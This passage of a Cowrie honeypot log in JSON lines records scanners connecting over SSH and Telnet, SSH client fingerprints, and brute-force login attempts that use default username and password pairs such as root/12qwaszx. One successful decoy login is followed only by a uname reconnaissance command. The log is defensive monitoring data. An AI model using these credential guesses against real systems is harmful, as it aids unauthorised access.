SH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:25:34.554067Z","src_ip":"176.65.139.103","session":"7e5b4ec5748c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jack","password":"jack","message":"login attempt [jack/jack] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:25:34.883778Z","src_ip":"176.65.139.103","session":"7e5b4ec5748c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:25:35.983603Z","src_ip":"176.65.139.103","session":"7e5b4ec5748c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.26942491531372,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:25:36.825677Z","src_ip":"5.189.169.71","session":"c88f83b8988e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":52908,"dst_ip":"159.203.135.109","dst_port":23,"session":"036eb75608ef","protocol":"telnet","message":"New connection: 23.254.167.244:52908 (159.203.135.109:23) [session: 036eb75608ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:25:39.022361Z"}
{"eventid":"cowrie.session.closed","duration":37.10000467300415,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:25:39.221251Z","src_ip":"23.254.167.244","session":"5f9d66fff926","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.218599557876587,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:25:39.719930Z","src_ip":"5.189.169.71","session":"15c7ea04574a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":55140,"dst_ip":"159.203.135.109","dst_port":22,"session":"29455875573f","protocol":"ssh","message":"New connection: 159.203.92.129:55140 (159.203.135.109:22) [session: 29455875573f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:25:40.450706Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:25:40.455307Z","src_ip":"159.203.92.129","session":"29455875573f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:25:40.459632Z","src_ip":"159.203.92.129","session":"29455875573f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"anna","password":"12345678","message":"login attempt [anna/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:25:40.470703Z","src_ip":"159.203.92.129","session":"29455875573f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":45238,"dst_ip":"10.17.0.5","dst_port":22,"session":"3446711bbb03","protocol":"ssh","message":"New connection: 176.65.139.103:45238 (10.17.0.5:22) [session: 3446711bbb03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:25:40.711279Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:25:40.716954Z","src_ip":"176.65.139.103","session":"3446711bbb03","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:25:40.801032Z","src_ip":"176.65.139.103","session":"3446711bbb03","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"airflow","password":"airflow","message":"login attempt [airflow/airflow] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:25:41.071604Z","src_ip":"176.65.139.103","session":"3446711bbb03","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:25:41.543509Z","src_ip":"159.203.92.129","session":"29455875573f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.245476245880127,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:25:42.095059Z","src_ip":"5.189.169.71","session":"6ccf75d2035e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:25:42.155442Z","src_ip":"176.65.139.103","session":"3446711bbb03","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.058608055114746,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:25:45.733730Z","src_ip":"23.254.167.244","session":"2a1b8476276c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.388583183288574,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:25:46.124411Z","src_ip":"23.254.167.244","session":"98983c9e12b3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":46966,"dst_ip":"10.17.0.5","dst_port":23,"session":"a4fc4cb4cdb9","protocol":"telnet","message":"New connection: 5.189.169.71:46966 (10.17.0.5:23) [session: a4fc4cb4cdb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:25:46.803485Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":44762,"dst_ip":"10.17.0.5","dst_port":22,"session":"ff094c89df40","protocol":"ssh","message":"New connection: 176.65.139.103:44762 (10.17.0.5:22) [session: ff094c89df40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:25:47.309646Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:25:47.347930Z","src_ip":"176.65.139.103","session":"ff094c89df40","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:25:47.417855Z","src_ip":"176.65.139.103","session":"ff094c89df40","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12qwaszx","message":"login attempt [root/12qwaszx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:25:47.797341Z","src_ip":"176.65.139.103","session":"ff094c89df40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:25:48.960052Z","src_ip":"176.65.139.103","session":"ff094c89df40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.512049913406372,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:25:49.153019Z","src_ip":"5.189.169.71","session":"9ec444d8b869","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.44762873649597,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:25:49.417761Z","src_ip":"23.254.167.244","session":"a826aee9e04d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":44038,"dst_ip":"10.17.0.5","dst_port":23,"session":"46dd84a5c79d","protocol":"telnet","message":"New connection: 5.189.169.71:44038 (10.17.0.5:23) [session: 46dd84a5c79d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:25:50.164758Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":44040,"dst_ip":"10.17.0.5","dst_port":23,"session":"40a87cccb375","protocol":"telnet","message":"New connection: 5.189.169.71:44040 (10.17.0.5:23) [session: 40a87cccb375]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:25:50.888110Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":35884,"dst_ip":"10.17.0.5","dst_port":22,"session":"cda918b05806","protocol":"ssh","message":"New connection: 176.65.139.103:35884 (10.17.0.5:22) [session: cda918b05806]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:25:53.592199Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:25:53.651134Z","src_ip":"176.65.139.103","session":"cda918b05806","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:25:53.820853Z","src_ip":"176.65.139.103","session":"cda918b05806","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"steam123","message":"login attempt [steam/steam123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:25:54.111688Z","src_ip":"176.65.139.103","session":"cda918b05806","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:25:54.322124Z","src_ip":"176.65.139.103","session":"cda918b05806","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:25:54.324905Z","src_ip":"176.65.139.103","session":"cda918b05806","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:25:54.409822Z","src_ip":"176.65.139.103","session":"cda918b05806","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:25:54.414718Z","src_ip":"176.65.139.103","session":"cda918b05806","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":44050,"dst_ip":"10.17.0.5","dst_port":23,"session":"6024a6d8dd36","protocol":"telnet","message":"New connection: 5.189.169.71:44050 (10.17.0.5:23) [session: 6024a6d8dd36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:25:55.816880Z"}
{"eventid":"cowrie.session.closed","duration":36.424322843551636,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:25:58.617017Z","src_ip":"23.254.167.244","session":"6a216c0980b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":53970,"dst_ip":"10.17.0.5","dst_port":23,"session":"f2e3eb62a0de","protocol":"telnet","message":"New connection: 5.189.169.71:53970 (10.17.0.5:23) [session: f2e3eb62a0de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:25:59.622645Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":35904,"dst_ip":"10.17.0.5","dst_port":22,"session":"c0de4e4c21bc","protocol":"ssh","message":"New connection: 176.65.139.103:35904 (10.17.0.5:22) [session: c0de4e4c21bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:25:59.730039Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:25:59.746073Z","src_ip":"176.65.139.103","session":"c0de4e4c21bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:25:59.819106Z","src_ip":"176.65.139.103","session":"c0de4e4c21bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openclaw","password":"openclaw","message":"login attempt [openclaw/openclaw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:26:00.150428Z","src_ip":"176.65.139.103","session":"c0de4e4c21bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":53974,"dst_ip":"10.17.0.5","dst_port":23,"session":"4307cdebe27b","protocol":"telnet","message":"New connection: 5.189.169.71:53974 (10.17.0.5:23) [session: 4307cdebe27b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:26:00.416685Z"}
{"eventid":"cowrie.session.closed","duration":30.220178842544556,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:26:01.096946Z","src_ip":"5.189.169.71","session":"a7f89dc5b68d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":53982,"dst_ip":"10.17.0.5","dst_port":23,"session":"08a90d618fa5","protocol":"telnet","message":"New connection: 5.189.169.71:53982 (10.17.0.5:23) [session: 08a90d618fa5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:26:01.147954Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:26:01.361754Z","src_ip":"176.65.139.103","session":"c0de4e4c21bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":34674,"dst_ip":"10.17.0.5","dst_port":22,"session":"de0008b22267","protocol":"ssh","message":"New connection: 176.65.139.103:34674 (10.17.0.5:22) [session: de0008b22267]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:26:06.023916Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:26:06.029368Z","src_ip":"176.65.139.103","session":"de0008b22267","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:26:06.112708Z","src_ip":"176.65.139.103","session":"de0008b22267","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"frappe@123","message":"login attempt [frappe/frappe@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:26:06.701338Z","src_ip":"176.65.139.103","session":"de0008b22267","protocol":"ssh"}
